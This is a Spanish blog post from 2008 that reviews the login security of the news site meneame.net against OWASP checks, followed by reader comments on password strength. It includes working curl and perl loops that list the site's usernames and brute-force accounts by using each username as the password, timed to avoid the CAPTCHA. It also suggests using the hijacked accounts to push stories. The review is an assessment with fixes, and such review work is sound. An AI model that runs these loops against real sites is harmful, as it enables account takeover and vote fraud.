11 noviembre 2008

Meneame: insecure by default



Cuando se verifica la seguridad de la autenticación en un aplicativo web se han de tener en cuenta distintos puntos de control. Llevar a cabo este tipo de pruebas es algo más que ejecutar una herramienta automática y esperar encontrar vulnerabilidades.

Esta entrada tratará de contar el proceso, tanto en la detección de debilidades como en la identificación de fortalezas.

Puesto que recientemente hemos aparecido en meneame, y meneame goza de fama y poder para mover miles de usuarios diariamente y con ello el dinero que esto implica. Usaremos esto portal como ejemplo.

1.- (OWASP 4.5.1) El primer paso es verificar que la información sensible es transmitida por un canal seguro, es decir, tanto usuario y contraseña SIEMPRE ha de ser transmitido por https, así como la sesión si está integra autenticación.

En el caso que nos ocupa, podemos verificar rápidamente que meneame NO tiene implantada esta medida, lo que permitiría el robo de credenciales en redes internas mediante técnicas de escucha.

http://meneame.net/login.php

POST /login.php HTTP/1.1
Host: meneame.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://meneame.net/login.php?return=%2F
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

username=crap1234&password=12345&processlogin=1&return=%2F


2.- La política de contraseñas ha de ser robusta, esto quiere decir que se ha de contemplar el uso de números, minúsculas, mayúsculas e incluso caracteres especiales. Obligar únicamente que la contraseña se componga de un número mínimo de caracteres es peligroso, puesto que permite contraseñas tan triviales como por ejemplo "12345" o "meneame". Se muestra el código de la versión 3 del software de meneame donde se identifica la política utilizada.

if(strlen($_POST["password"]) < 5 ) {

3.- (OWASP 4.5.2) La enumeración de usuarios es importante, ya que si se lleva a cabo, se puede generar un diccionario de usuarios, y realizar fuerza bruta inversa, es decir, programar una pequeña utilidad que pruebe todos los usuarios identificados con una contraseña "típica" y como hemos visto en el punto anterior, "12345" o "meneame", son contraseñas que posiblemente existan en el sistema.

La enumeración de usuarios en meneame es posible por un error inicial, el nombre de usuario es el mismo que el usado para autenticarse, cuando realmente el nombre de usuario y el usuario de acceso deberían ser distintos, debiendo ser este segundo, por ejemplo, el correo electrónico. El siguiente ejemplo mostraría una lista de los usuarios de meneame y por lo tanto de "logins" validos.

for i in `seq 1 2243`; do curl "http://meneame.net/?page=$i" | perl -ne 'print $1."\n" if /\/user\/(\w+)/'; done | sort | uniq > meneame.users
Usando este pequeño script (que genera 2243 peticiones web) se obtienen usuarios que hayan llegado a portada, lo que significa que probablemente tengan un karma alto.

Otra forma usando el "topusers.php" (a tener en cuenta que después del sed hay un \n):

for i in `seq 1 3000`; do curl -s "http://meneame.net/topusers.php?page=$i"| sed -e 's//\

/g' | perl -ne 'print $1."\n" if /\/user\/(.*?)\"/'; done

Además (OWASP 4.5.3), se permite la consulta de usuarios en la url: http://meneame.net/user/'usuario', por lo tanto también se podría llevar a cabo una enumeración de usuarios utilizando un diccionario y realizando peticiones al servidor para comprobar si existe o no.

4.- (OWASP 4.5.4) El portal de meneame tiene un sistema de CAPTCHA, para evitar ataques de fuerza bruta, esto quiere decir que la aplicación detecta que desde una misma dirección IP se prueban usuarios y contraseñas incorrectos y solicita que se introduzca el texto de una imagen para asegurar que no se realiza de forma automática. El uso de este sistema es una fortaleza, al igual que "los contadores", que no son reiniciados cuando se produce una autenticación válida. El problema viene dado con las limitaciones, que son algo generosas. Tras dos accesos erróneos aparece el captcha, pero tras 90 segundos, se permite volver a probar sin necesidad de introducirlo. Aunque apriori este tiempo es alto, el uso de unas decenas de proxys, permitiría probar unos miles de usuarios (conocidos) contra una contraseña en un par de horas. En otro artículo comentaremos como hacer esta búsqueda de forma trivial para comprender el alcance de este problema.

function do_login() {
global $current_user, $globals;
$previous_login_failed = log_get_date('login_failed', $globals['original_user_ip_int'], 0, 90);
Para realizar fuerza bruta de una forma sencilla comprobando usuarios que tengan por contraseña su propio usuario y una longitud superior a 5 caracteres:
for user in `cat meneame.users`; do if [ `echo $user|wc -c` -gt 4 ]; then echo -n $user:;curl -b cook.tmp -c cook.tmp -m 3 -S -L -s -d "username=$user&password=$user&processlogin=1&return=%2F" http://meneame.net/login.php | grep -c "cerrar sesi"; sleep 91; fi; done
A tener en cuenta que no se utilizan proxys, por lo tanto es necesario añadir 91 segundo de espera entre petición y petición para evitar el captcha comentado anteriormente. E incluso con esta demora, en apenas unos minutos han sido identificados más de 5 usuarios válidos. Con 40 o 50 usuarios con buen karma, podríamos poner en portada un artículo de forma fraudulenta.

5.- (OWASP 4.5.5) Otra fortaleza de meneame, es la comprobación de privilegios de usuario. En todas las páginas que he mirado, se comprueba si la sesión es correcta y si ese usuario tiene accesos especiales: "god" o "admin".

6.- (OWASP 4.5.6) El "recordar contraseña" y "contraseña olvidada" en meneame se genera con un md5 partir de una cadena de texto de la que no tenemos suficientes datos como para reproducir. Por ejemplo el uso de la fecha y hora en la que se genera la sesión, o una clave configurada del sistema denominada "site_key".

$now = time();
$key = md5($user->id.$user->pass.$now.$site_key.get_server_name());

key = md5($dbuser->user_email.$site_key.$dbusername.$dbuser->user_id.$cookietime);

7.- (OWASP 4.5.7) La falta de cifrado en la autenticación y resto de la aplicación facilita que una sesión http sea escuchada y con ello sus sesiones, se recomienda para todos los casos establecer las sesiones con el atributo "Secure", este tema es amplio y dedicaremos un artículo íntegramente a el, se puede ampliar información en:
profsandhu.com/journals/ic/ieeeic00.pdf


8.-(OWASP 4.5.8) El servicio de CAPTCHA de la web está externalizado a un tercero: recaptcha,
aunque es una opción, todos los mecanismos de seguridad no deberían depender de otras partes, ya que se aumentan las posibilidades de ser comprometidos si se descubren nuevas vulnerabilidades para ese sitio.


Para finalizar, las conclusiones son las mismas que siempre: "Un dedo no hace mano, pero sí con sus hermanos", aunque no hay debilidades importantes y el sistema presenta fortalezas destacables, el elevado número de "problemillas" (o vulnerabilidades de criticidad baja-media), podrían provocar un ataque de fuerza bruta exitoso, permitiendo el control temporal sobre las noticias publicadas. Aunque esto parezca algo tonto, el poder redirigir unas 7.000-9.000 peticiones únicas a una página puede estar bien pagado o puede ser utilizado para un fraude de "clicks".

Las recomendaciones son simples:
  1. Los usuarios deben de utilizar contraseñas fuertes para evitar que su cuenta sea robada
  2. El sitio web debería implantar una política de contraseñas fuerte. Obligando el uso de números y mayúsculas, así como comprobar que no se puede introducir una contraseña igual al usuario.
  3. También debería ampliarse el tiempo de "bloqueo", de 90 segundos a un número mayor y molesto, como 15 minutos
  4. Meneame debería implantar un servidor http seguro por el que transmitir credenciales y sesiones.
  5. El sistema debería contemplar que el usuario introducido para registrarse en la aplicación tiene que ser distinto al nombre de usuario (apodo) que aparece interactuando con las noticias, evitando numeración de "logins" válidos.
Espero que este ladrillo haya sido constructivo.

7 comments :

elefrEn dijo...

muy bueno el analisis, salu2

Iván Cruz dijo...

Buen estudio,
buen tema,
buena publicidad para vosotros.

Alejandro Ramos dijo...

Gracias a los dos.

Me ha llegado algún correo preguntando y para aclararlo. Únicamente añadir que el artículo se envió a Ricardo, autor de la aplicación para que lo tuviera en consideración antes de su publicación. Este respondió en apenas unas horas aclarando todos los puntos que considero oportunos.

ktzar dijo...

Muy bien escrito y las vulnerabilidades analizadas perfectamente. Es interesante que se tengan en cuenta estas pequeñas cosas. Un sistema como menéame, tan sencillo pero tan complejo, da lugar a problemas de este tipo. El problema es que algunas fallas no son salvables sin quitar servicio.

jarfil dijo...

"contraseñas fuerte. Obligando el uso de números y mayúsculas"

Eso no son contraseñas fuertes.

Cómparense los ejemplos:
1.- aH8r!z
2.- jokaliumen

Según esa definición, la primera sería "fuerte", con una fortaleza real de 6*6 = 36 bit, mientras que la segunda sería "débil" con una fortaleza de 4.6*10 = 46 bit o como mínimo 7*6 = 42 bit (analizando por sílabas).

Con el añadido de que la segunda es fácilmente memorizable, mientras que la primera normalmente acabaría apuntada, tal vez en un postit al lado del monitor.

Alejandro Ramos dijo...

@jarfil, gracias por tu comentario.

Siendo justos, tampoco sería fuerte: "fjzF$@#J2z", frente a: "estaesmicontraseñayjamaslavasaconocerporquesoycapazdemetermuchasletrasenminusculas".

Obviamente, hablamos con la misma longitud de contraseña, pero buen apunte el tuyo.

Javi dijo...

@jarfil, pienso que sería más interesante comparar este par de contraseñas(igualmente fáciles de recordar y con la misma longitud):


1.- jokaliumen (la que tu propones)
2.- Jokal1um3N (la misma con mayúsculas,minúsculas y números)

y la fortaleza aumenta sustancialmente en la segunda.

A esto creo que se refería Alejandro.

Saludos,